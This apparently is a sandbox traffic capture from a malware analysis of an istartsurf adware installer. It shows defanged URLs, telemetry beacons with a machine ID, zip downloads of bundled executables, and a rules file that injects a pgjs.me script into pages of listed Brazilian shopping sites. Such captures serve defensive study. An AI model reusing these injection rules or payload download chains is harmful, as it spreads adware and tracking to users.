hxxp://install.plainsavingscenter.com/ii?alpha=IWgQTWZZGi5rCEVmP2dpICxDQGYhNBxlawRQURkpfm1BTTI0VB1bVHJzUltULDhMRk1iCCcJcX8XFRxyJDxpUxBLdFBZfnA1A0gwXn4/YGkiJXlPbHQtRGMkQUVFAnklME1cZgUUDUoAJioRTzN+DQgRHCkWY09VPW9DFwEtTGpFF1k3FFxkZnILSjNcbXgjYH12HgI6NmhFMmVBUkdZCGVmQQI2PFRMZEp2PFgeYQ88Sn4XJwB+USY0bkEPdSE8bltHGjUuDjN9UWVebB4sL2MxbhNPQm5oKgYtdlQED10jYy8TGCUhVh1GUXBoUwhoKzoFf0N/SiEIZy0GIQEQZmI6GFMMMw0PMSwkQB1xHjE5fXRpZBMCOylvQzFmR0VHTTx+ahlLIyVHSysCMykSSyEiPUlJRHYTCxFzYTcCSWA8WDIUVBo+QjIkIXBTCypLNiAuYHUqFFw3fnsUd2teBg4OeiUvEQpudBQaO3spKAVBPwx0HWoQIhloD3tpYzdALGdoehlPEjRfJR4fSndeZwI1NS4QEBtobSxjKUhXGxBXUFpqQWAOHyYlSABCfFY6dBp1KW5hWkNnS2gPfzB4FE8jKTx6Bx1ONiVlOyEXFw==
hxxp://fonts.gstatic.com/s/opensans/v13/4fu8RBPDDCYpod03lr_bYQ.eot
hxxp://www.brsoftwarellc.com/services/rules.txt?dummy=654
hxxp://www.istartsurf.com/?type=hp&ts=1442019795&z=21e223b3f0c97db3c281da1g7zccaefozzjcktmlma&from=pcm&uid=VMwareXVirtualXIDEXHardXDrive_00000000000000000001
hxxp://www.brsoftwarellc.com/services/update.php?v=2.1.0&key=cntWr7wdpwLSzP114aWiIK97RvaCIkvN&dummy=936
hxxp://www.istartsurf.com/local/js/simple_other.js?version=20150907a0824
hxxp://install.plainsavingscenter.com/mg?alpha=FHZwUDwjOkEFAyg9X3ozFTIjXTwUMHIhP2ARcxUlYycxNzFECm0iVhVHcV9rQGhoBTEUARxUDwEBJwQtB35KXU5sIWwfN0QFQzZrVi9y
hxxp://install.plainsavingscenter.com/fp?alpha=IWgQTWZ9UHZaJwAiP2dpICxDQGYhNAY8JwZpQVk5ZzgeGXU3Qx04CiorC05GfWNkEB8hA3pLJ05zSBd4LCBsPBBOaFQgaQEyDk8lHjEyLgd+dQsZJzVsWDBuUwIQDH0hOElGYn0SED8IKyMKSip8dhUZHCYae0wlIG9BEXIyby8THSkXFQAiJSkDTiNZPHYqZXMlEQw4MX1DNnYFBAJeLjo8H0tjdgQTPBgnKBwdZm12RAgScw59SDJvM0xxKHtoMhRYXw4HAjgua1oXZAQ9JTMYBwAATnhjYEcxZ1YGFA94MWgPB24aWAZ+TXp+ATowdH8RbB8nA3hIJjtzMGUCJiBpPhBNd1FWZHJCd0BCVRplJGUxNiFDKAM=
hxxp://www.istartsurf.com/global/js/jquery.js?version=20150907a
hxxp://www.related.deals/services/update/2.1.0/WJo1ohMhy36qSr05BodnCGx4v5vFCO2d/354	167.114.116.173
hxxp://www.related.deals/services/rules?dummy=213	167.114.116.173
hxxp://4threquest.me/310714d/310714_a9.exe?token=DMZOYZYGB4j34h6c6LiODMZOYZYGB4j34h6c6LiODMZOYZYGB4j34h6c6LiO
hxxp://www.istartsurf.com/logic/z.php
hxxp://fonts.googleapis.com/css?family=Open Sans:300,400,700&subset=latin,cyrillic-ext,greek-ext,cyrillic,greek,vietnamese,latin-ext
hxxp://www.istartsurf.com/local/css/simple2.css?version=20150907a082400
hxxp://d.thanksearch.com/ftpup/images/img/sprite/sprite_simpleindexen_hot_margin1_5_7bce58e1133367b2f61a20c31726d6c2.png
hxxp://install.plainsavingscenter.com/if?alpha=JGRYTDEgLCweWwQpd2Y+JSALQTEkOFRkPAFcGRh+e2EJTGUxWFVaA3d/GloDKTQERxpnBG8IJnobXR0lITAhUkdOeBhYKXU5S0lnW3J3YT4nKTFOO3EhDGJzREkNAy4gPAVdMQAYRUtXIyZZTmR7AUAQSywaK04COGMLFlYoQCJEQFwzSV1ULW0SFR0GPWpZajokPVo0djJVJmwUB14Yay83BFsxbxhcJF0uOERLZXhxXg8ZcUREDCw1O1xYZ31uZhlRHjNMInUqXkNPelh6LCszZmZbGGwwd1plbi5VCQNIQSNbGXA4WA03OH94EBUnO25NGk85QG8KZWchT0VlLEx9HwUVJUUGc2VfFxcwByNtMlsGaD5fMmQ0TnNoDVQLUj1kYEYZbS5GSDBPIzhFVGJ+cl0JDnFQcBcgbXJJQXR6IS5cRFRmDA90KWkQHmktOnl+aiUgTgUIbDhJZWVCaR5faXd2HUxqNxVcLAEkZkkDdik0UBBNOBM2TGVlMwQQJysxV0ZFQ2wSIT19SkRKY04kcXY+ECkCXjgkNVJtb19+JGFTUyNQBWkiFSxJMFhXUh4kdRQgXhxmRyYoKnomTEF7MUhQOVcyN1gEJwF6Fw8xWh0MTDFFCA==

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /services/update/2.1.0/WJo1ohMhy36qSr05BodnCGx4v5vFCO2d/354 HTTP/1.0

Accept: */*

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.related.deals

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.6.2

Date: Sat, 12 Sep 2015 01:03:28 GMT

Content-Type: text/plain

Content-Length: 0

Connection: keep-alive

P3P: CP="Potato"

X-Cache: BYPASS

X-Server: Provided by Intermedia

X-Country: UA

Access-Control-Allow-Origin: *

Access-Control-Allow-Headers: X-Requested-With

Access-Control-Allow-Credentials: true

HTTP/1.1 200 OK..Server: nginx/1.6.2..Date: Sat, 12 Sep 2015 01:03:28 GMT..Content-Type: text/plain..Content-Length: 0..Connection: keep-alive..P3P: CP="Potato"..X-Cache: BYPASS..X-Server: Provided by Intermedia..X-Country: UA..Access-Control-Allow-Origin: *..Access-Control-Allow-Headers: X-Requested-With..Access-Control-Allow-Credentials: true..

GET /ftpup/images/img/sprite/sprite_simpleindexen_hot_margin1_5_7bce58e1133367b2f61a20c31726d6c2.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.istartsurf.com/?type=hp&ts=1442019795&z=21e223b3f0c97db3c281da1g7zccaefozzjcktmlma&from=pcm&uid=VMwareXVirtualXIDEXHardXDrive_00000000000000000001

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: d.thanksearch.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/png

Content-Length: 7679

Last-Modified: Thu, 23 Jul 2015 10:20:27 GMT

Accept-Ranges: bytes

Cache-Control: max-age=31104000

Date: Sat, 12 Sep 2015 01:03:09 GMT

Connection: keep-alive

.PNG........IHDR.......0........n....gAMA......a.....sRGB.........PLTE...1..'.....]....<......D......iE'.......:.2!....c@.6.........:.>..:...4..%.A..6.....8..{..E..M......H....G..J.....B......-.~......m............. -...:.........=(n3 h.......R..g....j1.....w............'......R'J.....,:S...........>."..E..e@.......y....# <..Y..p.......}H.Y6/_...Y.z9.N1.).........\K....X.g3y.....3Hh......A[..F!..0Y...s6_(...;.....A.a09!...y...'..T,... .[......y,X...../}..H.J.m6....7 $....](q..g..g..LC4..Q..d. x..,.nE4s....Ok........{%...j....G....nL........0........r.Z..._.O*.7..s..T...`..j......Q..........J_....`...7:?X,-..weK ... . Qv..}l.|...j...Pq............3..Thih.................<.0...\....d....~......mKmI......H.5.~.......b..H.K..4...(.98........6..X.g........e;6A.%......HIIOO..JtXLv..........{d:K.p.......c....... C.0...P....tb.t.....i.\.u...ytRNS..i.......{.....8........................................................................................................k..<....IDATh....XSW....)M.N.}&..U.. B ...... 6.......J......@...H,.....Ev.A|...l.T..}.[...s.MB@..o.B$..Z...s..|.....r...T..|Q...h0.....7......A......7m.1~.....g......g.......',........h...K.._.r..5k..]......Z.5k...~=8.....>(.z..~$.?$D.........k...-....07.X.f:..6.VGG....g..2........u....6'.Y.>...0.64C.7...@.....H$..8|x...=....J..9.Qcm...?s..x..@;:88..._.......s.Z...r.a1K.....7..A/r.|.....v...N..f?..ob..a......sD....'-...........%.......s...mJ.C^Zprrr......m...n..;i......dC.....4C..l.F.g.p....mz6z............^xl.;.....(.c..{[.eW.~.[.E..

<<< skipped >>>

GET /services/stores?dummy=720 HTTP/1.0

Accept: */*

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.related.deals

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.6.2

Date: Sat, 12 Sep 2015 01:03:27 GMT

Content-Type: text/html

Connection: close

P3P: CP="Potato"

X-Cache: MISS

X-Server: Provided by Intermedia

X-Country: UA

Access-Control-Allow-Origin: *

Access-Control-Allow-Headers: X-Requested-With

Access-Control-Allow-Credentials: true

related.deals.aliexpress.com.viagens.americanas.com.br.americanas.com.br.amomuito.com.azulviagens.com.br.epocacosmeticos.com.br.casasbahia.com.br.catho.com.br.centauro.com.br.citylar.com.br.colcci.com.br.colombo.com.br.cvc.com.br.dafiti.com.br.dx.com.decolar.com.extra.com.br.fastshop.com.br.fnac.com.br.forum.com.br.girafa.com.br.voegol.com.br.insinuante.com.br.kanui.com.br.lenovo.com.br.livrariacultura.com.br.lojaskd.com.br.lojasrenner.com.br.magazineluiza.com.br.marisa.com.br.megamamute.com.br.mobly.com.br.netshoes.com.br.oppa.com.br.polishop.com.br.pontofrio.com.br.posthaus.com.br.ricardoeletro.com.br.rihappy.com.br.samsclub.com.br.saraiva.com.br.sepha.com.br.sephora.com.br.shopfato.com.br.shoptime.com.br.submarino.com.br.submarinoviagens.com.br.tam.com.br.walmart.com.br...

GET /install.gif?bundle=istartsurf&ptid=pcm&uid=VMwareXVirtualXIDEXHardXDrive_00000000000000000001 HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926

Host: log.very911.com

Connection: Keep-Alive

HTTP/1.1 404 Not Found

Server: Tengine/1.2.2

Date: Sat, 12 Sep 2015 01:03:08 GMT

Content-Type: text/html; charset=utf-8

Content-Length: 693

Connection: keep-alive

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">..<html>..<head><title>404 Not Found</title></head>..<body bgcolor="white">..<h1>404 Not Found</h1>..<p>The requested URL was not found on this server. Sorry for the inconvenience.<br/>..Please report this message and include the following information to us.<br/>..Thank you very much!</p>..<table>..<tr>..<td>URL:</td>..<td>hXXp://log.very911.com:8080/install.gif?bundle=istartsurf&ptid=pcm&uid=VMwareXVirtualXIDEXHardXDrive_00000000000000000001</td>..</tr>..<tr>..<td>Server:</td>..<td>us-pub00.v9.com</td>..</tr>..<tr>..<td>Date:</td>..<td>2015/09/11 20:03:08</td>..</tr>..</table>..<hr/>Powered by Tengine/1.2.2..</body>..</html>..HTTP/1.1 404 Not Found..Server: Tengine/1.2.2..Date: Sat, 12 Sep 2015 01:03:08 GMT..Content-Type: text/html; charset=utf-8..Content-Length: 693..Connection: keep-alive..<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">..<html>..<head><title>404 Not Found</title></head>..<body bgcolor="white">..<h1>404 Not Found</h1>..<p>The requested URL was not found on this server. Sorry for the inconvenience.<br/>..Please report this message and include the following information to us.<br/>..Thank you very much!</p>..<table>..<tr>..<td>UR

<<< skipped >>>

GET /4760/1 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: dqoup4b5zs0bi.cloudfront.net

Connection: Keep-Alive

HTTP/1.1 302 Moved Temporarily

Content-Type: text/html

Content-Length: 0

Connection: keep-alive

Date: Sat, 12 Sep 2015 01:00:25 GMT

Location: hXXp://d1eqq89si3cuqg.cloudfront.net/r3/4760_a1743d7d7fb7798a12d6b42db36c96e3/1.zip

Server: nginx

X-Cache: Miss from cloudfront

Via: 1.1 457b75182c63eff39fe8e72b11b6c74d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: NncThaqjovictKSPXOJxiS55Y-V4-M--EX4hVcKmHjfYNUsJH20G0w==

HTTP/1.1 302 Moved Temporarily..Content-Type: text/html..Content-Length: 0..Connection: keep-alive..Date: Sat, 12 Sep 2015 01:00:25 GMT..Location: hXXp://d1eqq89si3cuqg.cloudfront.net/r3/4760_a1743d7d7fb7798a12d6b42db36c96e3/1.zip..Server: nginx..X-Cache: Miss from cloudfront..Via: 1.1 457b75182c63eff39fe8e72b11b6c74d.cloudfront.net (CloudFront)..X-Amz-Cf-Id: NncThaqjovictKSPXOJxiS55Y-V4-M--EX4hVcKmHjfYNUsJH20G0w==......

GET /4760/2 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: dqoup4b5zs0bi.cloudfront.net

Connection: Keep-Alive

HTTP/1.1 302 Moved Temporarily

Content-Type: text/html

Content-Length: 0

Connection: keep-alive

Date: Sat, 12 Sep 2015 01:00:33 GMT

Location: hXXp://d1eqq89si3cuqg.cloudfront.net/r3/4760_49a0786cf7e697e4a7b97ce3c2053d62/2.zip

Server: nginx

X-Cache: Miss from cloudfront

Via: 1.1 457b75182c63eff39fe8e72b11b6c74d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: haTZ2ykoWAEt6Slo667lqHWOXbjPkzI575UD4wDeATglKPfGRTamtA==

HTTP/1.1 302 Moved Temporarily..Content-Type: text/html..Content-Length: 0..Connection: keep-alive..Date: Sat, 12 Sep 2015 01:00:33 GMT..Location: hXXp://d1eqq89si3cuqg.cloudfront.net/r3/4760_49a0786cf7e697e4a7b97ce3c2053d62/2.zip..Server: nginx..X-Cache: Miss from cloudfront..Via: 1.1 457b75182c63eff39fe8e72b11b6c74d.cloudfront.net (CloudFront)..X-Amz-Cf-Id: haTZ2ykoWAEt6Slo667lqHWOXbjPkzI575UD4wDeATglKPfGRTamtA==..

GET /r3/4760_a1743d7d7fb7798a12d6b42db36c96e3/1.zip HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Connection: Keep-Alive

Host: d1eqq89si3cuqg.cloudfront.net

HTTP/1.1 200 OK

Content-Type: application/zip

Content-Length: 1139022

Connection: keep-alive

Date: Fri, 11 Sep 2015 10:38:44 GMT

Last-Modified: Fri, 11 Sep 2015 09:31:32 GMT

ETag: "58d998e52b3f49edce6beb894244fef6"

Accept-Ranges: bytes

Server: AmazonS3

Age: 51858

X-Cache: Hit from cloudfront

Via: 1.1 457b75182c63eff39fe8e72b11b6c74d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: PKW3akqX-d3tl5DTo-vr5f9wV0Ebo9GZciyWGJW2NLWimGgtAymPZQ==

PK.........*)G..).............645.json.4-t..M[".w........?>..c.......U......s......z...,.....oz.t.{......j.."d.;..K..|...'.r.}.|.G......%.........I...5.N.....'..W.....t..7a|j]e.uz6......W.H..r.p...........sl...vY.x..M...K...m693.....Q.....w4....k;q....c.V......<.jOn..`Y.qm..]..........yq.#D.D.l..C..u{'.8.....T7]zI..{.......WQ.*z|....e..l..v.....c..:g....'..b.q~..wH.=U~.Y.{.....7.N....T.s.4.L..s..6q..f_...nY...2.R....N....>.....J.@....~2.L.i[ .....0E..*...._.....:.....0q.. .....L.Y..=.{...d.i..sq.sLx.Y..7S....#.C.er...Q..6..7.O5M...PK.........*)GS3B.............uninstallDlg2.xml../(...S.K.M.U*../*I.-Q....PK..........(G.....5..8.......QQBrowser.exe..uTU_.8..s8twJ#).....H7.......J."*..t....% (......x.......{.....{.5.\k.9....a...S.$..` ...P........:.84.8@5...:...:=.G/Z.Ow{O WZk 77wo.....>n..n.r.....6........0.y.K..t./ ....oZ.A...e....>x..O3H~.B.o...7-.....q.v@....j......0.......@!..t. .;}..\.9x.....k..y.....1...-..... Y*.f........*.....A@9.!..V .05...p.S...R../\ ....2....7........f.....KNO. o .....;..........o6......2...._.....5.GWPg.#.......uq..Q`.m....<...d...........I.....j..../..k`...w )......;6..{s7i...............^......NR.1 .p.!.....>Q.4i....~...<8.mCA....^].`L.Z...W..u......&H..e......II..:.......A<_.T....9...u?|...t...s.. A.-...WK...p..p......N.....(6..R....F].oDd.z.....@i..Z7.....F..'N.[../..Gx.$.m.pZ...o4a7a.o.N...YZZ..Xt.....@...%...K.....b....24.fI.AK..........{........zc...KK i.f_..UY.1.........oa..nb..Cl.6n-...L<E<.]...o......m.0.j..D;.~ouC..3.(..o2...M.2.{S....D".&gt

<<< skipped >>>

GET /r3/4760_49a0786cf7e697e4a7b97ce3c2053d62/2.zip HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Connection: Keep-Alive

Host: d1eqq89si3cuqg.cloudfront.net

HTTP/1.1 200 OK

Content-Type: application/zip

Content-Length: 993251

Connection: keep-alive

Date: Fri, 11 Sep 2015 10:39:46 GMT

Last-Modified: Fri, 11 Sep 2015 09:29:15 GMT

ETag: "c4d67fe4f84be359fd340d6b85b973c8"

Accept-Ranges: bytes

Server: AmazonS3

Age: 51804

X-Cache: Hit from cloudfront

Via: 1.1 457b75182c63eff39fe8e72b11b6c74d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 0S3yGb0GltmWpB36fSCr1Y1PzV7cIbuFD0VvyP5Y_rGSJQDArdFWVA==

PK.........*)G^7..............645.dbKY.....)Ch.9..3..O.T..w.]....[....,,..m...Z....AW....5.*..}V.m..e.k.........._.....2..Y...v2#.......).Z.kz.^.-H}.3m....o{w]....S=...Q.#.;..<...ZTU1...N..I...S'U...<..Z....r.e.u,.:x.....0..F.....%..5.fF.0.06..?.4....PK........./(G..}..y..........wpm_v20.0.0.2301.exe..S.%O....m....mwO..m[...i...m...y....q..n........r.Z...\.%r.....B.C.|.n.<v..u.A.i.....X.;.@A6.~L....8....!. F..,.~L....._.@d..m.g..Zr:q_........n<..J.>;....W....i$)f..^.{d.,.d.O...6...AN@I..v,G`M@..9p!'.fV...=..J.....~e:y.w6.)|.F..Vf@3'.>.Q.. ..z...............`.C.b*.o...K...w....#....#?o...Z.W.Mw 8....D.iK:OV.J.b.....0..|...F.....WYf....1.RWO.Ui...-..........<m7.....KD.=G-.}.T....n......S..9....R......)......H......L........ra..9....[..(}..` *..d......&.=.\$W...{.r...t...OS..A.3..T.a^/)...r...I..xd..o.....4..]........{ N/.y...X.\KH.{...0.....C}.d.u..02...v..?..n.j...}........x$...K.Pz.5......]l.K..[.....~..`.......o........W(..v..v"...!.K.zx.r..%..i.f.#...o..'........S.m..Z@.......W.......?`...FfAMx.xH...H.......K..5...Am..z......eU....j.&)..BJ..7.....?.!...V....f...`.n..-Z......f.z./.2&.1......t.j........}o...I.s.A..MA.E.K...F.UB.......Y1<..*..R.2..Yl....{....J2@...*.j.*.M...%.dZ`....s.UY...[.y1.B-%./.5i..>U.'..G.X..L...H....8..Ku!. ..........B.tk&.fw....j.!..t..L.H...(..i.?1..zC.<@n.J|J....W....eT..T.A1Xza=1B.f.....F....|01....Q.L......7m.f.@.M?d.^M:.....<~;d'...QPk.X....9;..zPv.S....a.6Dw...N....Q..^...]m.~....obl.%. ]..1Xv....gt..Q..Vh.?......6q|..'.m..W...........k........$.J

<<< skipped >>>

GET /ftpup/vres/v2/images/22find/images/loading.gif HTTP/1.1

Accept: */*

Referer: hXXp://VVV.istartsurf.com/?type=hp&ts=1442019795&z=21e223b3f0c97db3c281da1g7zccaefozzjcktmlma&from=pcm&uid=VMwareXVirtualXIDEXHardXDrive_00000000000000000001

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: a.thanksearch.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/gif

Content-Length: 1787

Last-Modified: Sat, 16 Aug 2014 11:35:41 GMT

Accept-Ranges: bytes

Cache-Control: max-age=31104000

Date: Sat, 12 Sep 2015 01:03:09 GMT

Connection: keep-alive

GIF89a . ............................444...............TTT...!..NETSCAPE2.0.....!.......,.... . ......I)K....JJ5....U.RK....(..&...05 /.mbp.z...1...;$.1C....I*..HCh`A.o..."3qT5.\.8a....B....d..wxG=Y..g...wHb..v.A=.0.V\.\.;........;...H.........0..t%.Hs..rY<H...........b..Z.b.OEg:...GY]..=.A.OQ.s....\b.h.9.=sg...c..e....*....f.7D..!.......,..........r..I..5........bRH.h.W...*lkL&-)..1-..v.m...).....M..t.\.....Rd..A..H..... .......o............................Gz{..!.......,..........r..Ig@5...rY.M.Q!(.(.(..8.........J..Kb..r....3.h..K!..6..3u`.&.D.A..z.fL.Z*..^`n.F.....O..ssyJ}T....N.aqXshC..XJ...!.......,..........i....Y4.......Cv....A.M.A."....J..j..A'.0T....*.b..JI.I..ZF..P.MM...s.bg.qV$........v.!...5....?}..........!.......,..........ep....80....#^.q..X....[..(\.-......S..@ P....0". ....L......z...xL....*Z....._..H......D..eU..ywZt.n..!.......,.....................A.2.W..E.&j.....B.&..w~.6..b8....p`4r|.F...M.>.......,bLv|?.4B.v......P..u.9.. .&..2..x&...k..&...U]..vo...o..p..raT&..!.......,..........{.........'..e.7......\l.-).S7@.&..4. `.yT.SL.\:=.....J..k...:......;.e....8.c.A.8O.j@b/. :.{..ty....t#....|.....-...mN..qK..!.......,..........l..I .8.b....y ..h..*....Zp=.....3...`.....C....`B.".p..X..9bP...B.`Z=.....8.>.u,.S..t"..O..T\um.|.;....8.~*..!.......,..........x..I.......A.]G...e..AP.b.)..."!s...... .B..I..........V...5q(.(.X2=.,.I.........n#&..A....Vq5t..sn.y\)_.....g......|r.5..!.......,..........g..D .8.[{.`&y_h..I.).(L.". gN.8..l5.."....L..A ...%@%..O@..8.N.gL ............p.us/.j...j.Vj..

<<< skipped >>>

GET /v4/sof-installer/VMwareXVirtualXIDEXHardXDrive_00000000000000000001?action1=xa.geoip&action2=visit&action3=pcm.visit.istartsurf&update1=ref,pcm&update2=identifier,installer&update3=version,7.0.0.2807&update4=nation,us&update5=language,en HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: xa.xingcloud.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Sat, 12 Sep 2015 01:03:00 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

Content-Encoding: gzip

57..............1..0....|2. ......H.1q..n....H........v.....>........![Vo.V..>.........I.....0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Sat, 12 Sep 2015 01:03:00 GMT..Content-Type: text/html; charset=utf-8..Transfer-Encoding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api-version: v4..Content-Encoding: gzip..57..............1..0....|2. ......H.1q..n....H........v.....>........![Vo.V..>.........I.....0......

GET /v4/sof-installer/VMwareXVirtualXIDEXHardXDrive_00000000000000000001?action=pcm.dlzip1.istartsurf.finish,2 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: xa.xingcloud.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Sat, 12 Sep 2015 01:03:03 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

Content-Encoding: gzip

57.............V*.I,)V.R..V.Q*..M....LM.r......... .....T.C......<............T..Z./...H.....0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Sat, 12 Sep 2015 01:03:03 GMT..Content-Type: text/html; charset=utf-8..Transfer-Encoding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api-version: v4..Content-Encoding: gzip..57.............V*.I,)V.R..V.Q*..M....LM.r......... .....T.C......<............T..Z./...H.....0......

GET /v4/sof-installer/VMwareXVirtualXIDEXHardXDrive_00000000000000000001?action=pcm.dlzip1.istartsurf.install HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: xa.xingcloud.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Sat, 12 Sep 2015 01:03:08 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

Content-Encoding: gzip

56..............1..0....|2......6H.4b.$...=.C..A.........2,F.F.._._...e.........z?....H.....0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Sat, 12 Sep 2015 01:03:08 GMT..Content-Type: text/html; charset=utf-8..Transfer-Encoding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api-version: v4..Content-Encoding: gzip..56..............1..0....|2......6H.4b.$...=.C..A.........2,F.F.._._...e.........z?....H.....0..

GET /logic/z.php HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.istartsurf.com

Connection: Keep-Alive

Cookie: uid=VMwareXVirtualXIDEXHardXDrive_00000000000000000001; from=pcm; nation=ua; language=en

HTTP/1.1 200 OK

Server: Tengine/1.2.2

Date: Sat, 12 Sep 2015 01:00:40 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

X-Powered-By: PHP/5.3.14

Content-Encoding: gzip

3e............K3M.43M5.4OI54MNK376H1JJO.2.J.OM5L7-1/L.2K.....m*.....0..HTTP/1.1 200 OK..Server: Tengine/1.2.2..Date: Sat, 12 Sep 2015 01:00:40 GMT..Content-Type: text/html; charset=utf-8..Transfer-Encoding: chunked..Connection: keep-alive..Vary: Accept-Encoding..X-Powered-By: PHP/5.3.14..Content-Encoding: gzip..3e............K3M.43M5.4OI54MNK376H1JJO.2.J.OM5L7-1/L.2K.....m*.....0..

GET /services/rules.txt?dummy=654 HTTP/1.0

Accept: */*

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.brsoftwarellc.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.6.2

Date: Sat, 12 Sep 2015 01:03:20 GMT

Content-Type: text/plain

Content-Length: 232

Connection: keep-alive

Last-Modified: Wed, 19 Aug 2015 14:14:34 GMT

ETag: "5ac277-e8-51daaa76ae680"

Cache-Control: max-age=600

Expires: Sat, 12 Sep 2015 01:13:20 GMT

P3P: CP="Potato"

X-Cache: MISS

X-Server: Provided by Intermedia

X-Country: UA

Access-Control-Allow-Origin: *

Access-Control-Allow-Headers: X-Requested-With

Access-Control-Allow-Credentials: true

Accept-Ranges: bytes

</body>|<script src="//pgjs.me/services/script.js" type="text/javascript"></script></body>.searchinfofast|xsearchinfofas.apiplainsavingsc|apiplainsavingscx.descontosofertas.com.br|xdescontosofertas.com.br.yupfiles.net|xyupfiles.net.....

GET /services/update.php?v=2.1.0&key=cntWr7wdpwLSzP114aWiIK97RvaCIkvN&dummy=936 HTTP/1.0

Accept: */*

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.brsoftwarellc.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.6.2

Date: Sat, 12 Sep 2015 01:03:20 GMT

Content-Type: text/html

Content-Length: 0

Connection: keep-alive

P3P: CP="Potato"

X-Cache: BYPASS

X-Server: Provided by Intermedia

X-Country: UA

Access-Control-Allow-Origin: *

Access-Control-Allow-Headers: X-Requested-With

Access-Control-Allow-Credentials: true

